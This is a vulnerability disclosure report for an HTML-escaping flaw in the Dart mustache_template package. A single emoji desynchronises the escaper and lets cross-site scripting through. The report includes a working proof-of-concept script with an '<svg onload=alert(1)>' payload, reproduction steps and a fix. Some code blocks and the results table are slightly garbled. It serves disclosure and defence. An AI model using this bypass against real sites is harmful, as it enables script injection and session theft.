

HTML-Escape Bypass in mustache_template (Dart) → Stored/Reflected XSS

Security vulnerability report · Proof of Concept

Package	mustache_template (pub.dev) — publisher: flutter.dev (verified)
Source repo	github.com/flutter/core-packages (third_party/packages/mustache_template)
Affected versions	1.0.0 – 2.0.6 (all published releases; confirmed on 2.0.6)
Vulnerable function	_htmlEscape — lib/src/renderer.dart, lines 216–227 (default {{ }} tag)
Vulnerability type	Improper output encoding → Cross-Site Scripting (XSS), CWE-79
CVSS v3.1	6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/L/I:L/A:N
Reporter	Mohammed Arfath A (GitHub @frxarfath404)

Root Cause

The HTML escaper applied to the default `{{ variable }}` tag iterates the input with `String.runes` (Unicode code points) but copies the “unescaped so far” slices using `String.substring` (UTF-16 code-unit offsets). Runes and UTF-16 code units only line up for BMP characters. A single non-BMP code point (for example an emoji — one rune, but **two** UTF-16 code units) desynchronizes the two indices for the remainder of the string, so HTML metacharacters that appear after it are emitted unescaped. This defeats the library’s primary XSS protection.

Vulnerable code (verbatim from version 2.0.6, lib/src/renderer.dart:216–227)

```
String _htmlEscape(String s) {
  final buffer = StringBuffer();
  var startIndex = 0;
  var i = 0;
  for (final int c in s.runes) { // iterates CODE POINTS
    if (c == _AMP || c == _LT || c == _GT ||
        c == _QUOTE || c == _APOS || c == _FORWARD_SLASH) {
      buffer.write(s.substring(startIndex, i)); // slices by CODE UNIT
      buffer.write(_htmlEscapeMap[c]);
      startIndex = i + 1;
    }
    i++; // +1 per rune, not per code unit
  }
  buffer.write(s.substring(startIndex));
  return buffer.toString();
}
```

Setup

```
dart pub add mustache_template
```

Proof-of-Concept code (poc.dart)

```
import 'dart:io';
import 'package:mustache_template/mustache_template.dart';

void main() {
  final tmpl = Template('{{x}}'); // default {{ }} tag = HTML-escaped ("safe")

  // CONTROL: BMP-only input is correctly escaped.
  final safe = tmpl.renderString({'x': '<svg onload=alert(1)>'});
  print('CONTROL (no emoji): $safe');
  // Expected & actual: &lt;svg onload=alert(1)&gt; -> escaped, safe
}
```

```

// EXPLOIT: a single non-BMP char (emoji U+1F600) placed before the payload
// triggers the rune / UTF-16 code-unit index drift. The ';//>' tail keeps
// the injected event handler as syntactically valid JavaScript after the
// drift mangles the trailing characters.
final payload = '\u{1F600}<svg onload=alert(1);//>';
final vuln = tmpl.renderString({'x': payload});
print('EXPLOIT (with emoji): $vuln');
// Actual output: <U+D83D>&lt;<svg onload=alert(1)&#x2F;&#x2F;&gt;>
//                                     raw, UNESCAPED <svg onload=...> -> live markup

// Write a page the triager can open in any browser to confirm execution.
File('poc.html').writeAsStringSync('<!doctype html><meta charset="utf-8">$vuln');
print('Open poc.html in a browser -> alert(1) executes.');
```

```

}
```

Steps to reproduce

```

dart run poc.dart
# then open the generated poc.html in any browser
```

Expected vs. actual result

Input	Expected (safe)	Actual (vulnerable)
<svg onload=alert(1)> (no emoji)	<svg onload=alert(1)>	<svg onload=alert(1)> (escaped – OK)
■<svg onload=alert(1);//>	fully entity-escaped, inert text	...<<svg onload=alert(1) //>> raw live <svg> element

Why it executes

In the vulnerable output the raw substring `<svg onload=alert(1)//>>` is parsed by the browser as a real `<svg>` element. Its unquoted `onload` attribute value decodes to `alert(1)//>`, where `//>` is an inert JavaScript line comment — so `alert(1)` runs. This is arbitrary JavaScript execution through the library's default, supposedly XSS-safe `{ { } }` tag.

Impact

Any application that renders attacker-controlled or user-supplied data through the default `{ { } }` tag — relying on the library's built-in HTML escaping as its XSS defense — is exploitable. This covers server-rendered web pages, HTML emails, and any output where end-user input (usernames, comments, profile fields, chat messages) is interpolated. To exploit, an attacker only needs to include one non-BMP character (trivially an emoji) before their payload. The result is stored/reflected XSS: arbitrary JavaScript execution in victims' browsers under the site's origin, enabling session/cookie theft, account takeover, CSRF-token exfiltration, and UI defacement. No privileges are required; the victim only has to view a page containing the attacker's data.

Suggested fix

Perform the escaping in a single consistent unit: either iterate and slice by UTF-16 code units (use the same index for the loop and for `substring`), or build the output by appending per code unit. Do not mix runes (code points) with `substring` (code-unit) offsets. All six escaped metacharacters are ASCII, so iterating by code unit is fully safe.